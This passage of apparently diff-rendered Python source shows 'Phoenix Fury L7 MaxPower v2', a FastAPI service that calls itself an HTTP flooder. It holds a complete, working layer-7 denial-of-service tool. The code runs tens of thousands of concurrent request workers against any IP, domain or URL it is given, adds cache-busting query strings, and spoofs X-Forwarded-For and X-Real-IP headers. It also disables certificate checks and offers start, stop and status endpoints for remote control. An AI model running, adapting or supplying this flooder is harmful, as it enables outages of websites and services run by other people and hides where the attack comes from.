title="🔥 Phoenix Fury L7 MaxPower v2",
|
| 22 |
-
description="MAX-POWER HTTP FLOODER — IP, DOMAIN, URL, PORT, DURATION SUPPORTED",
|
| 23 |
-
version="2.0"
|
| 24 |
-
)
|
| 25 |
-
|
| 26 |
-
# ======================
|
| 27 |
-
# AUTO-TUNED FOR 8-CORE, 32GB RAM
|
| 28 |
-
# ======================
|
| 29 |
-
CPU_CORES = psutil.cpu_count(logical=True) or 8
|
| 30 |
-
TOTAL_CONCURRENCY = CPU_CORES * 4096 # ~32k concurrent tasks
|
| 31 |
-
REQUEST_TIMEOUT = 3
|
| 32 |
-
BATCH_SIZE = 10_000
|
| 33 |
-
|
| 34 |
-
# Spoof headers
|
| 35 |
-
USER_AGENTS = [
|
| 36 |
-
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
| 37 |
-
"Mozilla/5.0 (X11; Linux x86_64)",
|
| 38 |
-
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
|
| 39 |
-
]
|
| 40 |
-
REFERERS = ["https://www.google.com/", "https://www.bing.com/"]
|
| 41 |
-
|
| 42 |
-
def spoof_headers() -> Dict[str, str]:
|
| 43 |
-
ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
|
| 44 |
-
return {
|
| 45 |
-
"User-Agent": random.choice(USER_AGENTS),
|
| 46 |
-
"Referer": random.choice(REFERERS),
|
| 47 |
-
"X-Forwarded-For": ip,
|
| 48 |
-
"X-Real-IP": ip,
|
| 49 |
-
"Accept": "*/*",
|
| 50 |
-
"Connection": "close"
|
| 51 |
-
}
|
| 52 |
-
|
| 53 |
-
# ======================
|
| 54 |
-
# GLOBAL STATE
|
| 55 |
-
# ======================
|
| 56 |
-
class AttackState:
|
| 57 |
-
def __init__(self):
|
| 58 |
-
self.active = False
|
| 59 |
-
self.target_url = ""
|
| 60 |
-
self.start_time = 0
|
| 61 |
-
self.total_requests = 0
|
| 62 |
-
self.current_rps = 0
|
| 63 |
-
self.last_count = 0
|
| 64 |
-
self.last_time = time.time()
|
| 65 |
-
|
| 66 |
-
STATE = AttackState()
|
| 67 |
-
|
| 68 |
-
# ======================
|
| 69 |
-
# PYDANTIC INPUT MODEL
|
| 70 |
-
# ======================
|
| 71 |
-
class AttackConfig(BaseModel):
|
| 72 |
-
target: str = Field(..., description="IP, domain (example.com), or full URL (http://...)")
|
| 73 |
-
port: int = Field(None, ge=1, le=65535, description="Optional port. Default: 80 (HTTP) or 443 (HTTPS)")
|
| 74 |
-
duration: int = Field(60, ge=10, le=3600, description="Attack duration in seconds (10–3600)")
|
| 75 |
-
|
| 76 |
-
@validator('target')
|
| 77 |
-
def validate_target(cls, v):
|
| 78 |
-
v = v.strip()
|
| 79 |
-
if not v:
|
| 80 |
-
raise ValueError("Target cannot be empty")
|
| 81 |
-
# Allow IPs, domains, or URLs
|
| 82 |
-
if v.startswith(('http://', 'https://')):
|
| 83 |
-
return v
|
| 84 |
-
# It's a domain or IP — we'll build URL later
|
| 85 |
-
if ':' in v and not v.replace('.', '').replace(':', '').isdigit():
|
| 86 |
-
raise ValueError("Invalid target format")
|
| 87 |
-
return v
|
| 88 |
-
|
| 89 |
-
# ======================
|
| 90 |
-
# WORKER & MONITOR
|
| 91 |
-
# ======================
|
| 92 |
-
async def flood_worker(url: str, session: aiohttp.ClientSession):
|
| 93 |
-
local_count = 0
|
| 94 |
-
while STATE.active:
|
| 95 |
-
try:
|
| 96 |
-
final_url = f"{url}?_={random.randint(10**8, 10**9 - 1)}"
|
| 97 |
-
async with session.get(final_url, headers=spoof_headers(), timeout=REQUEST_TIMEOUT):
|
| 98 |
-
pass
|
| 99 |
-
except:
|
| 100 |
-
pass
|
| 101 |
-
local_count += 1
|
| 102 |
-
if local_count >= BATCH_SIZE:
|
| 103 |
-
STATE.total_requests += local_count
|
| 104 |
-
local_count = 0
|
| 105 |
-
if local_count > 0:
|
| 106 |
-
STATE.total_requests += local_count
|
| 107 |
-
|
| 108 |
-
async def rps_monitor():
|
| 109 |
-
while STATE.active:
|
| 110 |
-
await asyncio.sleep(1)
|
| 111 |
-
now = time.time()
|
| 112 |
-
elapsed = now - STATE.last_time
|
| 113 |
-
if elapsed > 0:
|
| 114 |
-
current = STATE.total_requests
|
| 115 |
-
STATE.current_rps = (current - STATE.last_count) / elapsed
|
| 116 |
-
STATE.last_count = current
|
| 117 |
-
STATE.last_time = now
|
| 118 |
-
|
| 119 |
-
# ======================
|
| 120 |
-
# ATTACK CONTROL
|
| 121 |
-
# ======================
|
| 122 |
-
async def run_attack(url: str, duration: int):
|
| 123 |
-
STATE.active = True
|
| 124 |
-
STATE.target_url = url
|
| 125 |
-
STATE.start_time = time.time()
|
| 126 |
-
STATE.total_requests = 0
|
| 127 |
-
STATE.current_rps = 0
|
| 128 |
-
STATE.last_count = 0
|
| 129 |
-
STATE.last_time = time.time()
|
| 130 |
-
|
| 131 |
-
print(f"🚀 FLOOD STARTED: {url} | Duration: {duration}s | Concurrency: {TOTAL_CONCURRENCY}")
|
| 132 |
-
|
| 133 |
-
ssl_ctx = ssl.create_default_context()
|
| 134 |
-
ssl_ctx.check_hostname = False
|
| 135 |
-
ssl_ctx.verify_mode = ssl.CERT_NONE
|
| 136 |
-
connector = TCPConnector(limit=0, limit_per_host=0, force_close=True)
|
| 137 |
-
timeout = ClientTimeout(total=REQUEST_TIMEOUT, connect=1, sock_read=2)
|
| 138 |
-
|
| 139 |
-
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
|
| 140 |
-
tasks = [flood_worker(url, session) for _ in range(TOTAL_CONCURRENCY)]
|
| 141 |
-
await asyncio.gather(*tasks, return_exceptions=True)
|
| 142 |
-
|
| 143 |
-
async def stop_after(duration: int):
|
| 144 |
-
await asyncio.sleep(duration)
|
| 145 |
-
if STATE.active:
|
| 146 |
-
STATE.active = False
|
| 147 |
-
elapsed = time.time() - STATE.start_time
|
| 148 |
-
avg_rps = STATE.total_requests / elapsed if elapsed > 0 else 0
|
| 149 |
-
print(f"✅ AUTO-STOP: {STATE.total_requests:,} requests | Avg RPS: {avg_rps:,.0f}")
|
| 150 |
-
|
| 151 |
-
def normalize_url(target: str, port: int = None) -> str:
|
| 152 |
-
# Case 1: full URL
|
| 153 |
-
if target.startswith(('http://', 'https://')):
|
| 154 |
-
# Extract host and rebuild with IP
|
| 155 |
-
from urllib.parse import urlparse
|
| 156 |
-
parsed = urlparse(target)
|
| 157 |
-
hostname = parsed.hostname or parsed.path.split('/')[0]
|
| 158 |
-
if not hostname:
|
| 159 |
-
raise ValueError("Invalid URL")
|
| 160 |
-
try:
|
| 161 |
-
ip = socket.gethostbyname(hostname)
|
| 162 |
-
except Exception as e:
|
| 163 |
-
raise ValueError(f"DNS resolve failed: {e}")
|
| 164 |
-
scheme = parsed.scheme
|
| 165 |
-
# Rebuild path
|
| 166 |
-
path = parsed.path or '/'
|
| 167 |
-
if port is None:
|
| 168 |
-
port = parsed.port or (443 if scheme == 'https' else 80)
|
| 169 |
-
return f"{scheme}://{ip}:{port}{path}"
|
| 170 |
-
|
| 171 |
-
# Case 2: plain domain or IP
|
| 172 |
-
# Detect if it's an IP or domain
|
| 173 |
-
try:
|
| 174 |
-
socket.inet_aton(target)
|
| 175 |
-
is_ip = True
|
| 176 |
-
except:
|
| 177 |
-
is_ip = False
|
| 178 |
-
|
| 179 |
-
# Auto-choose protocol
|
| 180 |
-
if port == 443 or (port is None and is_ip):
|
| 181 |
-
scheme = 'https'
|
| 182 |
-
actual_port = port or 443
|
| 183 |
-
else:
|
| 184 |
-
scheme = 'http'
|
| 185 |
-
actual_port = port or 80
|
| 186 |
-
|
| 187 |
-
resolved_host = target if is_ip else socket.gethostbyname(target)
|
| 188 |
-
return f"{scheme}://{resolved_host}:{actual_port}/"
|
| 189 |
-
|
| 190 |
-
# ======================
|
| 191 |
-
# API ENDPOINTS
|
| 192 |
-
# ======================
|
| 193 |
-
@app.post("/start")
|
| 194 |
-
async def start_attack(config: AttackConfig, background_tasks: BackgroundTasks):
|
| 195 |
-
if STATE.active:
|
| 196 |
-
raise HTTPException(409, "Attack already in progress")
|
| 197 |
-
|
| 198 |
-
try:
|
| 199 |
-
normalized_url = normalize_url(config.target, config.port)
|
| 200 |
-
except Exception as e:
|
| 201 |
-
raise HTTPException(400, f"Target resolution error: {e}")
|
| 202 |
-
|
| 203 |
-
background_tasks.add_task(run_attack, normalized_url, config.duration)
|
| 204 |
-
background_tasks.add_task(stop_after, config.duration)
|
| 205 |
-
|
| 206 |
-
return {
|
| 207 |
-
"status": "started",
|
| 208 |
-
"target": config.target,
|
| 209 |
-
"resolved_url": normalized_url,
|
| 210 |
-
"duration_sec": config.duration,
|
| 211 |
-
"concurrency": TOTAL_CONCURRENCY
|
| 212 |
-
}
|
| 213 |
-
|
| 214 |
-
@app.post("/stop")
|
| 215 |
-
async def stop_attack():
|
| 216 |
-
if not STATE.active:
|
| 217 |
-
return {"status": "idle"}
|
| 218 |
-
STATE.active = False
|
| 219 |
-
elapsed = time.time() - STATE.start_time
|
| 220 |
-
return {
|
| 221 |
-
"status": "stopped",
|
| 222 |
-
"total_requests": STATE.total_requests,
|
| 223 |
-
"elapsed_sec": round(elapsed, 2),
|
| 224 |
-
"avg_rps": round(STATE.total_requests / elapsed, 2) if elapsed > 0 else 0
|
| 225 |
-
}
|
| 226 |
-
|
| 227 |
-
@app.get("/status")
|
| 228 |
-
async def get_status():
|
| 229 |
-
elapsed = time.time() - STATE.start_time if STATE.active else 0
|
| 230 |
-
return {
|
| 231 |
-
"active": STATE.active,
|
| 232 |
-
"target_url": STATE.target_url,
|
| 233 |
-
"elapsed_sec": round(elapsed, 2),
|
| 234 |
-
"total_requests": STATE.total_requests,
|
| 235 |
-
"current_rps": round(STATE.current_rps, 2),
|
| 236 |
-
"cpu_percent": psutil.cpu_percent(),
|
| 237 |
-
"memory_percent": psutil.virtual_memory().percent
|
| 238 |
-
}
|
| 239 |
-
|
| 240 |
-
@app.get("/")
|
| 241 |
-
async def root():
|
| 242 |
-
return {"message": "🔥 Phoenix Fury L7 MaxPower v2 — POST /start to begin"}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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